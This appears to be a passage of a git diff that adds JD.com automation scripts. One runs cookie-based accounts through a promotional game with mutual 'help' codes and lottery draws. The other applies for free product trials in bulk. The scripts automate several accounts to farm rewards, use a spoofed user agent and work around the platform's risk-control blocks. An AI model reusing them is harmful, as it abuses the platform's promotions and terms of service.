i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_tiger.js b/jd_tiger.js new file mode 100644 index 0000000..2f1d81d --- /dev/null +++ b/jd_tiger.js @@ -0,0 +1,224 @@ +/* +萌虎摇摇乐 +https://yearfestival.jd.com +优先内部互助,剩余次数助力作者和助力池 +0 0,12,18 * * * jd_tiger.js +转义自HW大佬 +const $ = new Env('萌虎摇摇乐'); +*/ +const name = '萌虎摇摇乐' +let UA = process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT) +const got = require('got') +const notify = require('./sendNotify') +const jdCookieNode = require('./jdCookie.js') +let shareCodesSelf = [] +let cookiesArr = [], + cookie +Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) +}) + +!(async () => { + if (!cookiesArr[0]) { + console.error('No CK found') + return + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + const userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + console.log(`\n开始【京东账号${i + 1}】${userName}\n`) + try { + let res = await api({ "apiMapping": "/api/task/support/getShareId" }) + console.log('助力码:', res.data) + await wait(1000) + shareCodesSelf.push(res.data) + res = await api({ "apiMapping": "/api/task/support/list" }) + console.log('收到助力:', res.data.supportedNum) + await wait(1000) + + res = await api({ "apiMapping": "/api/task/brand/tabs" }) + await wait(1000) + for (let tab of res.data) { + let taskGroupId = tab.taskGroupId + res = await api({ "taskGroupId": taskGroupId, "apiMapping": "/api/task/brand/getTaskList" }) + for (let t of res.data) { + for (let i = t.finishNum; i < t.totalNum; i++) { + res = await getTaskDetail(taskGroupId) + if (res) { + console.log(taskGroupId, res.taskId, res.taskItemId, res.taskType, res.taskItemName) + let sleep = res.browseTime ? res.browseTime * 1000 : 1000 + res = await api({ "taskGroupId": taskGroupId, "taskId": res.taskId, "taskItemId": res.taskItemId, "apiMapping": "/api/task/brand/doTask" }) + await wait(sleep) + if (res.data.taskType === 'BROWSE_TASK') { + res = await api({ "taskGroupId": taskGroupId, "taskId": res.data.taskId, "taskItemId": res.data.taskItemId, "timestamp": res.data.timeStamp, "apiMapping": "/api/task/brand/getReward" }) + console.log('任务完成,积分:', res.data.integral, ',京豆:', res.data.jbean) + await wait(1000) + } else if (res.data.taskType === 'FOLLOW_SHOP_TASK') { + // console.log('任务完成,获得:', res.data.rewardInfoVo?.integral, res.data.rewardInfoVo?.jbean) + console.log(res.data.rewardInfoVo) + } + } + } + } + } + } catch (e) { + console.log('黑号?', e) + } + } + let authorCode = [] + let res = await getAuthorShareCode('') + if (!res) { + res = await getAuthorShareCode('') + } + if (res) { + authorCode = res.sort(() => 0.5 - Math.random()) + const limit = 3 + if (authorCode.length > limit) { + authorCode = authorCode.splice(0, limit) + } + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + const userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + const pool = await getShareCodePool('tiger', 5) + // if (shareCodesHW.length === 0) { + // shareCodesHW = await getshareCodeHW('tiger') + // } + // index === 0 ? + // shareCodes = Array.from(new Set([...shareCodesHW, ...shareCodesSelf, ...temp])) : + // shareCodes = Array.from(new Set([...shareCodesSelf, ...shareCodesHW, ...temp])) + shareCodes = Array.from(new Set([...shareCodesSelf, ...authorCode, ...pool])) + // console.log(shareCodes) + for (let code of shareCodes) { + console.log(`账号${i + 1} 去助力 ${code} ${shareCodesSelf.includes(code) ? '(内部)' : ''}`) + try { + const res = await api({ "shareId": code, "apiMapping": "/api/task/support/doSupport" }) + if (res.data.status === 1) { + !res.data.supporterPrize ? + console.log('不助力自己') : + console.log('助力成功,京豆:', res.data.supporterPrize.beans, ',积分:', res.data.supporterPrize.score) + } else if (res.data.status === 7) { + console.log('上限') + break + } else if (res.data.status === 3) { + console.log('已助力过') + } else { + console.log('其他情况', res.data.status) + } + await wait(1000) + } catch (e) { + console.log('黑号?', e) + } + + } + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + const userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + console.log(`\n开始【京东账号${i + 1}】${userName}\n`) + try { + let res = await api({ "apiMapping": "/api/index/indexInfo" }) + let lotteryNum = res.data.lotteryNum + console.log('抽奖次数:', lotteryNum) + for (let i = 0; i < lotteryNum; i++) { + res = await api({ "apiMapping": "/api/lottery/lottery" }) + console.log('抽奖', i + 1, '/', lotteryNum, res.data.prizeName) + await wait(4000) + } + } catch (e) { + console.log('黑号?', e) + } + } +})() +.catch((e) => { + console.error(`${name} error: ${e.stack}`) +}) +.finally(() => { + console.log(`${name} finished}`) +}) + +async function getAuthorShareCode(url) { + try { + const options = { + url, + "timeout": 10000, + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + const { body } = await got(options) + // console.debug('getAuthorShareCode:',body) + return JSON.parse(body) || [] + } catch (e) { + // console.warn('getAuthorShareCode:', e) + return false + } + +} + +function wait(time) { + return new Promise(resolve => { + setTimeout(() => { + resolve() + }, time) + }) +} + +async function api(r_body) { + const options = { + url: 'https://api.m.jd.com/api', + headers: { + 'Host': 'api.m.jd.com', + 'Origin': 'https://yearfestival.jd.com', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': UA, + 'Referer': 'https://yearfestival.jd.com/', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + 'Cookie': cookie + }, + form: { + appid: 'china-joy', + functionId: 'collect_bliss_cards_prod', + body: JSON.stringify(r_body), + t: Date.now(), + loginType: 2 + } + // body: `appid=china-joy&functionId=collect_bliss_cards_prod&body=${JSON.stringify(r_body)}&t=${Date.now()}&loginType=2` + } + const { body } = await got.post(options) + // console.debug(options) + // console.log(body) + return JSON.parse(body) +} + +async function getShareCodePool(key, num) { + let shareCode = [] + for (let i = 0; i < 2; i++) { + try { + const { body } = await got(`https://api.jdsharecode.xyz/api/${key}/${num}`) + console.debug('getShareCodePool:', body) + shareCode = JSON.parse(body).data || [] + console.log(`随机获取${num}个${key}成功:${JSON.stringify(shareCode)}`) + if (shareCode.length !== 0) { + break + } + } catch (e) { + // console.warn(e.stack) + console.log("getShareCodePool Error, Retry...") + await wait(2000 + Math.floor((Math.random() * 4000))) + } + } + return shareCode +} + + +async function getTaskDetail(taskGroupId) { + let res = await api({ "taskGroupId": taskGroupId, "apiMapping": "/api/task/brand/getTaskList" }) + await wait(1000) + for (let t of res.data) { + if (t.finishNum !== t.totalNum) { + return t + } + } + return '' +} diff --git a/jd_try.js b/jd_try.js new file mode 100644 index 0000000..807b1ef --- /dev/null +++ b/jd_try.js @@ -0,0 +1,1218 @@ +/* + * 如需运行请自行添加环境变量:JD_TRY,值填 true 即可运行 + * 脚本兼容: Node.js + * X1a0He留 + * 脚本是否耗时只看args_xh.maxLength的大小 + * 上一作者说了每天最多300个商店,总上限为500个,jd_unsubscribe.js我已更新为批量取关版 + * 请提前取关至少250个商店确保京东试用脚本正常运行 + * + * @Address: https://github.com/X1a0He/jd_scripts_fixed/blob/main/jd_try_xh.js + * @LastEditors: X1a0He + */ +const $ = new Env('京东试用') +const URL = 'https://api.m.jd.com/client.action' +let trialActivityIdList = [] +let trialActivityTitleList = [] +let notifyMsg = '' +let size = 1; +$.isPush = true; +$.isLimit = false; +$.isForbidden = false; +$.wrong = false; +$.giveupNum = 0; +$.successNum = 0; +$.completeNum = 0; +$.getNum = 0; +$.try = true; +$.sentNum = 0; +$.cookiesArr = [] +$.innerKeyWords = + [ + "幼儿园", "教程", "英语", "辅导", "培训", + "孩子", "小学", "成人用品", "套套", "情趣", + "自慰", "阳具", "飞机杯", "男士用品", "女士用品", + "内衣", "高潮", "避孕", "乳腺", "肛塞", "肛门", + "宝宝", "玩具", "芭比", "娃娃", "男用", + "女用", "神油", "足力健", "老年", "老人", + "宠物", "饲料", "丝袜", "黑丝", "磨脚", + "脚皮", "除臭", "性感", "内裤", "跳蛋", + "安全套", "龟头", "阴道", "阴部" + ] +//下面很重要,遇到问题请把下面注释看一遍再来问 +let args_xh = { + /* + * 每个Tab页要便遍历的申请页数,由于京东试用又改了,获取不到每一个Tab页的总页数了(显示null),所以特定增加一个环境变了以控制申请页数 + * 例如设置 JD_TRY_PRICE 为 30,假如现在正在遍历tab1,那tab1就会被遍历到30页,到31页就会跳到tab2,或下一个预设的tab页继续遍历到30页 + * 默认为20 + */ + totalPages: process.env.JD_TRY_TOTALPAGES * 1 || 20, + /* + * 由于每个账号每次获取的试用产品都不一样,所以为了保证每个账号都能试用到不同的商品,之前的脚本都不支持采用统一试用组的 + * 以下环境变量是用于指定是否采用统一试用组的 + * 例如当 JD_TRY_UNIFIED 为 true时,有3个账号,第一个账号跑脚本的时候,试用组是空的 + * 而当第一个账号跑完试用组后,第二个,第三个账号所采用的试用组默认采用的第一个账号的试用组 + * 优点:减少除第一个账号外的所有账号遍历,以减少每个账号的遍历时间 + * 缺点:A账号能申请的东西,B账号不一定有 + * 提示:想每个账号独立不同的试用产品的,请设置为false,想减少脚本运行时间的,请设置为true + * 默认为false + */ + unified: process.env.JD_TRY_UNIFIED || false, + //以上环境变量新增于2022.01.25 + /* + * 商品原价,低于这个价格都不会试用,意思是 + * A商品原价49元,试用价1元,如果下面设置为50,那么A商品不会被加入到待提交的试用组 + * B商品原价99元,试用价0元,如果下面设置为50,那么B商品将会被加入到待提交的试用组 + * C商品原价99元,试用价1元,如果下面设置为50,那么C商品将会被加入到待提交的试用组 + * 默认为0 + * */ + jdPrice: process.env.JD_TRY_PRICE * 1 || 0, + /* + * 获取试用商品类型,默认为1 + * 下面有一个function是可以获取所有tabId的,名为try_tabList + * 可设置环境变量:JD_TRY_TABID,用@进行分隔 + * 默认为 1 到 10 + * */ + tabId: process.env.JD_TRY_TABID && process.env.JD_TRY_TABID.split('@').map(Number) || [1, 2, 3, 4, 5, 6, 7, 8, 9, 10], + /* + * 试用商品标题过滤,黑名单,当标题存在关键词时,则不加入试用组 + * 当白名单和黑名单共存时,黑名单会自动失效,优先匹配白名单,匹配完白名单后不会再匹配黑名单,望周知 + * 例如A商品的名称为『旺仔牛奶48瓶特价』,设置了匹配白名单,白名单关键词为『牛奶』,但黑名单关键词存在『旺仔』 + * 这时,A商品还是会被添加到待提交试用组,白名单优先于黑名单 + * 已内置对应的 成人类 幼儿类 宠物 老年人类关键词,请勿重复添加 + * 可设置环境变量:JD_TRY_TITLEFILTERS,关键词与关键词之间用@分隔 + * */ + titleFilters: process.env.JD_TRY_TITLEFILTERS && process.env.JD_TRY_TITLEFILTERS.split('@') || [], + /* + * 试用价格(中了要花多少钱),高于这个价格都不会试用,小于等于才会试用,意思就是 + * A商品原价49元,现在试用价1元,如果下面设置为10,那A商品将会被添加到待提交试用组,因为1 < 10 + * B商品原价49元,现在试用价2元,如果下面设置为1,那B商品将不会被添加到待提交试用组,因为2 > 1 + * C商品原价49元,现在试用价1元,如果下面设置为1,那C商品也会被添加到带提交试用组,因为1 = 1 + * 可设置环境变量:JD_TRY_TRIALPRICE,默认为0 + * */ + trialPrice: process.env.JD_TRY_TRIALPRICE * 1 || 0, + /* + * 最小提供数量,例如试用商品只提供2份试用资格,当前设置为1,则会进行申请 + * 若只提供5分试用资格,当前设置为10,则不会申请 + * 可设置环境变量:JD_TRY_MINSUPPLYNUM + * */ + minSupplyNum: process.env.JD_TRY_MINSUPPLYNUM * 1 || 1, + /* + * 过滤大于设定值的已申请人数,例如下面设置的1000,A商品已经有1001人申请了,则A商品不会进行申请,会被跳过 + * 可设置环境变量:JD_TRY_APPLYNUMFILTER + * */ + applyNumFilter: process.env.JD_TRY_APPLYNUMFILTER * 1 || 10000, + /* + * 商品试用之间和获取商品之间的间隔, 单位:毫秒(1秒=1000毫秒) + * 可设置环境变量:JD_TRY_APPLYINTERVAL + * 默认为3000,也就是3秒 + * */ + applyInterval: process.env.JD_TRY_APPLYINTERVAL * 1 || 5000, + /* + * 商品数组的最大长度,通俗来说就是即将申请的商品队列长度 + * 例如设置为20,当第一次获取后获得12件,过滤后剩下5件,将会进行第二次获取,过滤后加上第一次剩余件数 + * 例如是18件,将会进行第三次获取,直到过滤完毕后为20件才会停止,不建议设置太大 + * 可设置环境变量:JD_TRY_MAXLENGTH + * */ + maxLength: process.env.JD_TRY_MAXLENGTH * 1 || 100, + /* + * 过滤种草官类试用,某些试用商品是专属官专属,考虑到部分账号不是种草官账号 + * 例如A商品是种草官专属试用商品,下面设置为true,而你又不是种草官账号,那A商品将不会被添加到待提交试用组 + * 例如B商品是种草官专属试用商品,下面设置为false,而你是种草官账号,那A商品将会被添加到待提交试用组 + * 例如B商品是种草官专属试用商品,下面设置为true,即使你是种草官账号,A商品也不会被添加到待提交试用组 + * 可设置环境变量:JD_TRY_PASSZC,默认为true + * */ + passZhongCao: process.env.JD_TRY_PASSZC || true, + /* + * 是否打印输出到日志,考虑到如果试用组长度过大,例如100以上,如果每个商品检测都打印一遍,日志长度会非常长 + * 打印的优点:清晰知道每个商品为什么会被过滤,哪个商品被添加到了待提交试用组 + * 打印的缺点:会使日志变得很长 + * + * 不打印的优点:简短日志长度 + * 不打印的缺点:无法清晰知道每个商品为什么会被过滤,哪个商品被添加到了待提交试用组 + * 可设置环境变量:JD_TRY_PLOG,默认为true + * */ + printLog: process.env.JD_TRY_PLOG || true, + /* + * 白名单,是否打开,如果下面为true,那么黑名单会自动失效 + * 白名单和黑名单无法共存,白名单永远优先于黑名单 + * 可通过环境变量控制:JD_TRY_WHITELIST,默认为false + * */ + whiteList: process.env.JD_TRY_WHITELIST || false, + /* + * 白名单关键词,当标题存在关键词时,加入到试用组 + * 例如A商品的名字为『旺仔牛奶48瓶特价』,白名单其中一个关键词是『牛奶』,那么A将会直接被添加到待提交试用组,不再进行另外判断 + * 就算设置了黑名单也不会判断,希望这种写得那么清楚的脑瘫问题就别提issues了 + * 可通过环境变量控制:JD_TRY_WHITELIST,用@分隔 + * */ + whiteListKeywords: process.env.JD_TRY_WHITELISTKEYWORDS && process.env.JD_TRY_WHITELISTKEYWORDS.split('@') || [], + /* + * 每多少个账号发送一次通知,默认为4 + * 可通过环境变量控制 JD_TRY_SENDNUM + * */ + sendNum: process.env.JD_TRY_SENDNUM * 1 || 4, +} +//上面很重要,遇到问题请把上面注释看一遍再来问 +!(async () => { + console.log('X1a0He留:遇到问题请把脚本内的注释看一遍再来问,谢谢') + console.log('X1a0He留:遇到问题请把脚本内的注释看一遍再来问,谢谢') + console.log('X1a0He留:遇到问题请把脚本内的注释看一遍再来问,谢谢') + await $.wait(500) + // 如果你要运行京东试用这个脚本,麻烦你把环境变量 JD_TRY 设置为 true + if (process.env.JD_TRY && process.env.JD_TRY === 'true') { + await requireConfig() + if (!$.cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }) + return + } + for (let i = 0; i < $.cookiesArr.length; i++) { + if ($.cookiesArr[i]) { + $.cookie = $.cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=(.+?);/) && $.cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await totalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + await $.notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + continue + } + $.totalTry = 0 + $.totalSuccess = 0 + $.nowTabIdIndex = 0; + $.nowPage = 1; + $.nowItem = 1; + if (!args_xh.unified) { + trialActivityIdList = [] + trialActivityTitleList = [] + } + $.isLimit = false; + // 获取tabList的,不知道有哪些的把这里的注释解开跑一遍就行了 + // await try_tabList(); + // return; + $.isForbidden = false + $.wrong = false + size = 1 + while(trialActivityIdList.length < args_xh.maxLength && $.isForbidden === false){ + if($.nowTabIdIndex === args_xh.tabId.length){ + console.log(`tabId组已遍历完毕,不在获取商品\n`); + break; + } else { + await try_feedsList(args_xh.tabId[$.nowTabIdIndex], $.nowPage) //获取对应tabId的试用页面 + } + if(trialActivityIdList.length < args_xh.maxLength){ + console.log(`间隔等待中,请等待 3 秒\n`) + await $.wait(3000); + } + } + if ($.isForbidden === false && $.isLimit === false) { + console.log(`稍后将执行试用申请,请等待 2 秒\n`) + await $.wait(2000); + for(let i = 0; i < trialActivityIdList.length && $.isLimit === false; i++){ + if($.isLimit){ + console.log("试用上限") + break + } + await try_apply(trialActivityTitleList[i], trialActivityIdList[i]) + console.log(`间隔等待中,请等待 ${args_xh.applyInterval} ms\n`) + await $.wait(args_xh.applyInterval); + } + console.log("试用申请执行完毕...") + // await try_MyTrials(1, 1) //申请中的商品 + $.giveupNum = 0; + $.successNum = 0; + $.getNum = 0; + $.completeNum = 0; + await try_MyTrials(1, 2) //申请成功的商品 + // await try_MyTrials(1, 3) //申请失败的商品 + await showMsg() + } + } + if($.isNode()){ + if($.index % args_xh.sendNum === 0){ + $.sentNum++; + console.log(`正在进行第 ${$.sentNum} 次发送通知,发送数量:${args_xh.sendNum}`) + await $.notify.sendNotify(`${$.name}`, `${notifyMsg}`) + notifyMsg = ""; + } + } + } + if($.isNode()){ + if(($.cookiesArr.length - ($.sentNum * args_xh.sendNum)) < args_xh.sendNum){ + console.log(`正在进行最后一次发送通知,发送数量:${($.cookiesArr.length - ($.sentNum * args_xh.sendNum))}`) + await $.notify.sendNotify(`${$.name}`, `${notifyMsg}`) + notifyMsg = ""; + } + } + } else { + console.log(`\n您未设置运行【京东试用】脚本,结束运行!\n`) + } +})().catch((e) => { + console.error(`❗️ ${$.name} 运行错误!\n${e}`) +}).finally(() => $.done()) + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + $.notify = $.isNode() ? require('./sendNotify') : { sendNotify: async () => { } } + //获取 Cookies + $.cookiesArr = [] + if ($.isNode()) { + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = require('./jdCookie.js'); + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) $.cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + //IOS等用户直接用NobyDa的jd $.cookie + $.cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + if (typeof process.env.JD_TRY_WHITELIST === "undefined") args_xh.whiteList = false; + else args_xh.whiteList = process.env.JD_TRY_WHITELIST === 'true'; + if (typeof process.env.JD_TRY_PLOG === "undefined") args_xh.printLog = true; + else args_xh.printLog = process.env.JD_TRY_PLOG === 'true'; + if (typeof process.env.JD_TRY_UNIFIED === "undefined") args_xh.unified = false; + else args_xh.unified = process.env.JD_TRY_UNIFIED === 'true'; + if (typeof process.env.JD_TRY_PASSZC === "undefined") args_xh.passZhongCao = true; + else args_xh.passZhongCao = process.env.JD_TRY_PASSZC === 'true'; + for (let keyWord of $.innerKeyWords) args_xh.titleFilters.push(keyWord) + console.log(`共${$.cookiesArr.length}个京东账号\n`) + console.log('=====环境变量配置如下=====') + console.log(`totalPages: ${typeof args_xh.totalPages}, ${args_xh.totalPages}`) + console.log(`unified: ${typeof args_xh.unified}, ${args_xh.unified}`) + console.log(`jdPrice: ${typeof args_xh.jdPrice}, ${args_xh.jdPrice}`) + console.log(`tabId: ${typeof args_xh.tabId}, ${args_xh.tabId}`) + console.log(`titleFilters: ${typeof args_xh.titleFilters}, ${args_xh.titleFilters}`) + console.log(`trialPrice: ${typeof args_xh.trialPrice}, ${args_xh.trialPrice}`) + console.log(`minSupplyNum: ${typeof args_xh.minSupplyNum}, ${args_xh.minSupplyNum}`) + console.log(`applyNumFilter: ${typeof args_xh.applyNumFilter}, ${args_xh.applyNumFilter}`) + console.log(`applyInterval: ${typeof args_xh.applyInterval}, ${args_xh.applyInterval}`) + console.log(`maxLength: ${typeof args_xh.maxLength}, ${args_xh.maxLength}`) + console.log(`passZhongCao: ${typeof args_xh.passZhongCao}, ${args_xh.passZhongCao}`) + console.log(`printLog: ${typeof args_xh.printLog}, ${args_xh.printLog}`) + console.log(`whiteList: ${typeof args_xh.whiteList}, ${args_xh.whiteList}`) + console.log(`whiteListKeywords: ${typeof args_xh.whiteListKeywords}, ${args_xh.whiteListKeywords}`) + console.log('=======================') + resolve() + }) +} + +//获取tabList的,如果不知道tabList有哪些,跑一遍这个function就行了 +function try_tabList() { + return new Promise((resolve, reject) => { + console.log(`获取tabList中...`) + const body = JSON.stringify({ + "version": 2, + "previewTime": "" + }); + let option = taskurl_xh('newtry', 'try_tabList', body) + $.get(option, (err, resp, data) => { + try { + if (err) { + if (JSON.stringify(err) === `\"Response code 403 (Forbidden)\"`) { + $.isForbidden = true + console.log('账号被京东服务器风控,不再请求该帐号') + } else { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } + } else { + data = JSON.parse(data) + if (data.success) { + for (let tabId of data.data.tabList) console.log(`${tabId.tabName} - ${tabId.tabId}`) + } else { + console.log("获取失败", data) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +//获取商品列表并且过滤 By X1a0He +function try_feedsList(tabId, page) { + return new Promise((resolve, reject) => { + const body = JSON.stringify({ + "tabId": `${tabId}`, + "page": page, + "version": 2, + "source": "default", + "client": "app", + "previewTime": "" + }); + let option = taskurl_xh('newtry', 'try_feedsList', body) + $.get(option, (err, resp, data) => { + try { + if (err) { + if (JSON.stringify(err) === `\"Response code 403 (Forbidden)\"`) { + $.isForbidden = true + console.log('账号被京东服务器风控,不再请求该帐号') + } else { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } + } else { + data = JSON.parse(data) + let tempKeyword = ``; + if (data.success) { + $.nowPage === args_xh.totalPages ? $.nowPage = 1 : $.nowPage++; + console.log(`第 ${size++} 次获取试用商品成功,tabId:${args_xh.tabId[$.nowTabIdIndex]} 的 第 ${page}/${args_xh.totalPages} 页`) + console.log(`获取到商品 ${data.data.feedList.length} 条`) + for (let item of data.data.feedList) { + if (item.applyNum === null) { + args_xh.printLog ? console.log(`商品未到申请时间:${item.skuTitle}\n`) : '' + continue + } + if (trialActivityIdList.length >= args_xh.maxLength) { + console.log('商品列表长度已满.结束获取') + break + } + if (item.applyState === 1) { + args_xh.printLog ? console.log(`商品已申请试用:${item.skuTitle}\n`) : '' + continue + } + if (item.applyState !== null) { + args_xh.printLog ? console.log(`商品状态异常,未找到skuTitle\n`) : '' + continue + } + if (args_xh.passZhongCao) { + $.isPush = true; + if (item.tagList.length !== 0) { + for (let itemTag of item.tagList) { + if (itemTag.tagType === 3) { + args_xh.printLog ? console.log('商品被过滤,该商品是种草官专属') : '' + $.isPush = false; + break; + } + else if (itemTag.tagType === 5) { + args_xh.printLog ? console.log('商品被跳过,该商品是付费试用!') : '' + $.isPush = false; + break; + } + } + } + } + if (item.skuTitle && $.isPush) { + args_xh.printLog ? console.log(`检测 tabId:${args_xh.tabId[$.nowTabIdIndex]} 的 第 ${page}/${args_xh.totalPages} 页 第 ${$.nowItem++ + 1} 个商品\n${item.skuTitle}`) : '' + if (args_xh.whiteList) { + if (args_xh.whiteListKeywords.some(fileter_word => item.skuTitle.includes(fileter_word))) { + args_xh.printLog ? console.log(`商品白名单通过,将加入试用组,trialActivityId为${item.trialActivityId}\n`) : '' + trialActivityIdList.push(item.trialActivityId) + trialActivityTitleList.push(item.skuTitle) + } + } else { + tempKeyword = ``; + if (parseFloat(item.jdPrice) <= args_xh.jdPrice) { + args_xh.printLog ? console.log(`商品被过滤,${item.jdPrice} < ${args_xh.jdPrice} \n`) : '' + } else if (parseFloat(item.supplyNum) < args_xh.minSupplyNum && item.supplyNum !== null) { + args_xh.printLog ? console.log(`商品被过滤,提供申请的份数小于预设申请的份数 \n`) : '' + } else if (parseFloat(item.applyNum) > args_xh.applyNumFilter && item.applyNum !== null) { + args_xh.printLog ? console.log(`商品被过滤,已申请试用人数大于预设人数 \n`) : '' + } else if (parseFloat(item.jdPrice) < args_xh.jdPrice) { + args_xh.printLog ? console.log(`商品被过滤,商品原价低于预设商品原价 \n`) : '' + } else if (args_xh.titleFilters.some(fileter_word => item.skuTitle.includes(fileter_word) ? tempKeyword = fileter_word : '')) { + args_xh.printLog ? console.log(`商品被过滤,含有关键词 ${tempKeyword}\n`) : '' + } else { + args_xh.printLog ? console.log(`商品通过,将加入试用组,trialActivityId为${item.trialActivityId}\n`) : '' + trialActivityIdList.push(item.trialActivityId) + trialActivityTitleList.push(item.skuTitle) + } + } + } else if ($.isPush !== false) { + console.error('skuTitle解析异常') + return + } + } + console.log(`当前试用组长度为:${trialActivityIdList.length}`) + args_xh.printLog ? console.log(`${trialActivityIdList}`) : '' + if (page >= args_xh.totalPages && $.nowTabIdIndex < args_xh.tabId.length) { + //这个是因为每一个tab都会有对应的页数,获取完如果还不够的话,就获取下一个tab + $.nowTabIdIndex++; + $.nowPage = 1; + $.nowItem = 1; + } + } else { + console.log(`💩 获得试用列表失败: ${data.message}`) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +function try_apply(title, activityId) { + return new Promise((resolve, reject) => { + console.log(`申请试用商品提交中...`) + args_xh.printLog ? console.log(`商品:${title}`) : '' + args_xh.printLog ? console.log(`id为:${activityId}`) : '' + const body = JSON.stringify({ + "activityId": activityId, + "previewTime": "" + }); + let option = taskurl_xh('newtry', 'try_apply', body) + $.get(option, (err, resp, data) => { + try { + if (err) { + if (JSON.stringify(err) === `\"Response code 403 (Forbidden)\"`) { + $.isForbidden = true + console.log('账号被京东服务器风控,不再请求该帐号') + } else { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } + } else { + $.totalTry++ + data = JSON.parse(data) + if (data.success && data.code === "1") { // 申请成功 + console.log("申请提交成功") + $.totalSuccess++ + } else if (data.code === "-106") { + console.log(data.message) // 未在申请时间内! + } else if (data.code === "-110") { + console.log(data.message) // 您的申请已成功提交,请勿重复申请… + } else if (data.code === "-120") { + console.log(data.message) // 您还不是会员,本品只限会员申请试用,请注册会员后申请! + } else if (data.code === "-167") { + console.log(data.message) // 抱歉,此试用需为种草官才能申请。查看下方详情了解更多。 + } else if (data.code === "-131") { + console.log(data.message) // 申请次数上限。 + $.isLimit = true; + } else if (data.code === "-113") { + console.log(data.message) // 操作不要太快哦! + } else { + console.log("申请失败", data) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +function try_MyTrials(page, selected) { + return new Promise((resolve, reject) => { + switch (selected) { + case 1: + console.log('正在获取已申请的商品...') + break; + case 2: + console.log('正在获取申请成功的商品...') + break; + case 3: + console.log('正在获取申请失败的商品...') + break; + default: + console.log('selected错误') + } + let options = { + url: URL, + body: 